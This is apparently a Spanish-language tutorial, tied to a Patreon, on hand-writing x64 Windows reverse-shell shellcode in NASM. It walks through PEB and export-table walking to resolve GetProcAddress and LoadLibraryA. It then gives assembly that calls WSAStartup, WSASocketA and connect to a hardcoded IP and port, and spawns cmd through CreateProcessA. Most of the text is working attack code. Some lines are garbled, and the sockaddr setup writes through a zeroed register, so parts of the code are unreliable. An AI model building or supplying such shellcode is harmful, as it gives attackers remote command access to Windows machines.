Una pequeña explicación de como realizar una shell para win64.
Veamos unos conceptos básicos, está explicación es realizado en nasm, esta forma no es única, hay varias formas, todo depende de tu imaginación y de como te atrevas a programarlo.
Explicaré una forma básicas de una shell pequeña, lo demás es bajo tu creatividad y responsabilidad.
Para este tutorial es necesario tener instalado windbg y usar otro debugger como x64dbg.
Algo que debes tener en cuenta para poder realizarlo, es saber manejar registros en ASM y sus ejecuciones, dejo un link a una página donde puedes aprender más.
Architecture/x64-assembly| Registros |
|||||
| 64 bit |
32 bit |
Explicación |
|||
| 64 bit |
rax, rbx, rcx, rdx, rsi, rdi |
--- |
Los registros a utilizar son rdi, rsi, rdx, r8 - r10, etc. |
||
| 32 bit |
--- |
eax, ebx, ecx, edx, esi, edi |
Los registros a utilizar son ebx, edx, ecx, edx, esi, edi, etc. |
||
| Memoria | Bits | Bytes | Registro | Access-Memory | Allocate-Memory |
| char | 8 | 1 | al | BYTE [ptr] | db |
| short | 16 | 2 | ax | WORD [ptr] | dw |
| int | 32 | 4 | eax | DWORD [ptr] | dd |
| long | 64 | 8 | rax | QWORD [ptr] | dq |
Para compilar: nasm -fwin64 -o .obj .nasm
ld -o .exe .obj
Antes que nada, es bueno que entiendan de donde vienen varias cosas que vamos a usar (PEB):
Abran windbg y ataquen un proceso o usen alguna aplicación de 64 bits.
Veamos lo primero que tenemos que saber, el primer objetivo es TEB

Como podemos observar PEB se encuentra en la posición 12, si lo multiplicamos por cada QWORD obtenemos 12*8=96 - 0x60 hex
Veamos que pasa si lo seguimos.

Ya encontramos PEB, algo que debemos recordar es que hay un registro en ASM que guarda TEB (gs), esto hay que recordarlo para posteriomente usarlo.
Busquemos la dirección para observar que hay dentro de PEB


Veamos si la dirección de _PEB_LDR_DATA es correcta

Tenemos que direccionarnos a "Ldr", ya que ahí se encuentra una estructura importante a utilizar que es "InMemoryOrderModuleList" y "Flink".
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;Entonces cuales son lo pasos a seguir para encontrar las direcciones que necesitaremos para lograr cargar algunas librerías además de funciones.
TEB
->PEB(0x60)
->Ldr(0x18)
->InMemoryOrderModuleList(0x20)->Flink
Lo podemos comprobar de esta forma.


Se puede ver como rax es la misma que la dirección de la imagen
Como mencionamos en el tutorial de win32, primero se encuentra ntdll y después kernel32, así que solo hay que repetir lo de win32 pero en x64.
Un detalle que tiene win64 es que debes alinear la pila y dejar un espacio llamado "shadow space" para cada registro además de los extras que se vayan a usar, en el tutorial de patreon explico con más detalle.
xor ecx, ecx xor rcx, rcx mov rax, [gs:rcx+0x60] mov rax, [rax+0x18] mov rsi, [rax+0x20] lodsq xchg rsi, rax lodsq mov rbx, [rax+0x20]
lodsq avanza 8 bytes del registro rsi a rax en una estructura, así que sería InMemoryOrderModuleList+8 = flink(ntdll.dll)
Después se hace un xchg para meter rax nuevamente a rsi y volvemos a recorrer 8 bytes para quedar InMemoryOrderModuleList+8=flink+8=flink(kernel32.dll) donde se encuentra la dirección que necesitamos para poder llegar a la base de kernel32.dll.
rax+0x20, es por un error en el entry al llegar a la dirección donde solo hay que hacer algo sencillo para solucionarlo, y es sumarle 0x20.
Logramos obtener la base base de kernerl32 ahora a investigar PE.
La siguiente tabla es importante porque es PE File Format
En el tutorial de patreon profundizaré un poco más, ahora solo importa saber como llegar a Data Directories, que es donde empezaremos a buscar las funciones a necesitar.
Así quedaría entonces...
e_elfanew(0x3c)
->OptionalHeader+DataDirectory(0x88)
->AddressofNames(0x20)
Observemos el código.
mov edx, [rbx+0x3c] add rdx, rbx mov edx, [rdx+0x88] add rdx, rbx mov esi, [rdx+0x20] add rsi, rbx
Cada movimiento hay que unirlo a la base de kernel32.
Ya estamos en AddressOfNames, ahora es momento de empezar a la dirección necesaria para cargar librerías y buscar las funciones necesarias y es GetProcAddress.

En el tutorial de patreon tiene una explicación más detalla sobre porque el uso de AddressOfFunctions, AddressOfNames y AddressOfNameOrdinals
Pero primero tenemos que buscar el nombre, después su ordinal y al final la dirección de la función.
-->AddressOfNames - 0x20
-->AddressOfNameOrdinals - 0x24
-->AddressOfFunctions - 0x1c
Repetimos el uso de lodsd y vamos buscamos el nombre "GetProcAddress"
J_Gp: xor rcx, rcx mov r10, 0x41636f7250746547 jm_GPA: inc rcx lodsd add rax, rbx cmp qword[rax], r10 jnz jm_GPA dec rcx
Aquí entramos en una especia de "loop" e "if"
Pueden observar como aumentamos a rcx = 1, metemos a rsi en rax, le colocamos la base de kernel32 y vamos comparando cada qword hasta encontrar el nombre correcto.
Al final restamos rcx-1, porque el array de Ordinals empieza en 0 no en 1, así que hay que usar dec rcx
Algo importante a notar es que tanto AddressOfNameOrdinals como AddressOfFunctions son arrays, AddressOfNameOrdinals = [word] y AddressOfFucntions = [dword]
mov esi, [rdx+0x24] add rsi, rbx mov cx, [rsi+rcx*2] mov esi, [rdx+0x1c] add rsi, rbx mov edx, [rsi+rcx*4] add rdx, rbx


Ahora solo queda empezar a cargar la librería sería así.
GetProcAddress(LoadLibrary(ws2_32.dll))
El proceso es repetitivo excepto para los parámetros.
xor rcx, rcx push rcx mov rcx, 0x41797261 push rcx mov rcx, 0x7262694c64616f4c push rcx mov rdx, rsp mov rcx, rbx sub rsp, 0x30 call r14 mov r13, rax ;LoadLibrary
Ya que esta cargada la librería y tenemos la dirección, comenzamos a programar el socket.
LoadLibraryA(WSAStartup)
xor rcx, rcx push rcx mov rcx, 0x6c6c push rcx mov rcx, 0x642e32335f327377 ;ws2_32.dll push rcx mov rcx, rsp sub rsp, 0x30 call r13
GetProAddress("ws2_32.dll","WSAStartup")
xor rcx, rcx push rcx mov rcx, 0x7075 push rcx mov rcx, 0x7472617453415357 ;WSAStartup push rcx mov rdx, rsp mov rcx, r15 sub rsp, 0x30 call r14
Ya que obtuvimos las direcciónes de WSAStartup, debemos empezar con los parámetros.
Antes hay que observar la estructura.
int WSAStartup( WORD wVersionRequired, LPWSADATA lpWSAData );
wVersionRequested = MAKEWORD( 2, 2 ); WSAStartup( wVersionRequested, &wsaData );
En el tutorial de patreon explico esta parte, vamos a continuar.
xor rcx, rcx push rcx mov cx, 0x0190 sub rsp, rcx mov rdx, rsp call rax
Tenemos que definir el tamaño de la estructura y abrimos espacio y metemos en la pila la dirección inicial de wsaData sizeof(struct wsaData)
Ahora metemos wVersionRequested que es la mayor version 2.2 e invocamos lo guardado en rax.
Volvemos a repetir todo.
xor rcx, rcx mov rcx, 0x4174 push rcx mov rcx, 0x656b636f53415357 ;WSASocketA push rcx mov rdx, rsp mov rcx, r15 sub rsp, 0x30 call r14
GetProAddress("ws2_32.dll","WSASocketA")
Tipo de datos| Domain | Type | Protocol | lpProtocolInfo | Group g | dwFlags |
| AF_INET | | SOCK_STREAM | | IPPROTO_IP | |||
| 2 | | 1 | | 6 | 0| | 0| | 0 |
Con eso podemos saber que es lo que necesitamos, solo hay que meter en cada registro el dato necesario.
SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags );
xor, hace una comparación tipo not, por ejemplo, si fuera rax=1, con xor podemos decir: rax=1 not rax=1; resultado = 0
inc, incrementa +1 un registro, por ejemplo, si fuera rax=1, entonces, inc rax, sería ahora rax = 2
xor rcx, rcx mov [rsp+32], rcx mov [rsp+40], rcx push rcx pop r9 mov r8b, 6 inc rcx mov rdx, rcx inc rcx call rax mov rdi, rax ;socket
¿Cómo quedaría entonces?
WSASocketA(2,1,6,0,0,0)
Repetimos lo mismo ahora para darle indicaciones a connect
xor rcx, rcx mov rcx, 0x7463656e6e6f63 push rcx mov rdx, rsp mov rcx, r15 sub rsp, 0x28 call r14
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Veamos la estructura de como de ser usado.
int WSAAPI connect( SOCKET s, const sockaddr *name, int namelen );<
typedef struct sockaddr_in {
#if ...
short sin_family;
#else
ADDRESS_FAMILY sin_family;
#endif
USHORT sin_port;
IN_ADDR sin_addr;
CHAR sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;
Aqui debemos pensar en dos cosas, meter en la pila la IP, el Puerto y la familia.
Veamos como quedaría.
xor r14, r14 mov [r14+4], dword 0x0100007f mov [r14+2], word 0x5c11 mov [r14], word 0x2Guardamos eso en la pila y volvemos a repetir pero ahora para la estructura.
mov r8b, 16 <--sizeof(sockaddre) lea rdx, [r14] <--sockaddr_in mov rcx, rdi <--socket call rax <--connect
Ya tenemos lista la conexión, pero falta como crear una tubería para mandar y recibir datos. Para eso usaremos CreateProcessA.
Esta parte voy a colocar la estructura y si ya se entendió todo, será sencillo repetir todo.
Es cuestion de volver a buscar desde PE File Format y encontrar CreateProcessA.
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
Hagamos un adelanto.
Aquí necesitas establecer dos cosas importantes de la estructura
LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation
lpStartupInfo es la cantidad de bytes 104 bytes + 24 de pProcessInformation
En el tutorial de patreon pondré más detallado esto pero dejo la estructura para que puedan continuar.
STRUC _STARTUPINFOA
.cb: resq 1
.lpReserved: resq 1
.lpDesktop: resq 1
.lpTitle: resq 1
.dwX: resd 1
.dwY: resd 1
.dwXSize: resd 1
.dwYSize: resd 1
.dwXCountChars: resd 1
.dwYCountChars: resd 1
.dwFillAttribute: resd 1
.dwFlags: resd 1
.wShowWindow: resd 1
.cbReserved2: resd 1
.lpReserved2: resq 1
.hStdInput: resq 1
.hStdOutput: resq 1
.hStdError: resq 1
ENDSTRUC
STRUC _PROCESS_INFORMATION
.hProcess: resq 1
.hThread: resq 1
.dwProcessId: resd 1
.dwThreadId: resd 1
ENDSTRUC
Metamos a la pila cmd, que es la consola de comandos.
push 'cmdA' mov [rsp+3],byte cl lea rdx, [rsp] ;cmd
Y ya al final es solo darle parámetros a CreateProcessA con esto que acabamos de ver según la estructura.
Listo.
Si deseas el código completo puede apoyarme en patreon, ahí encontraras el código y tutorial completo. Patreon
En github se encuentra parte del código como referencia. Github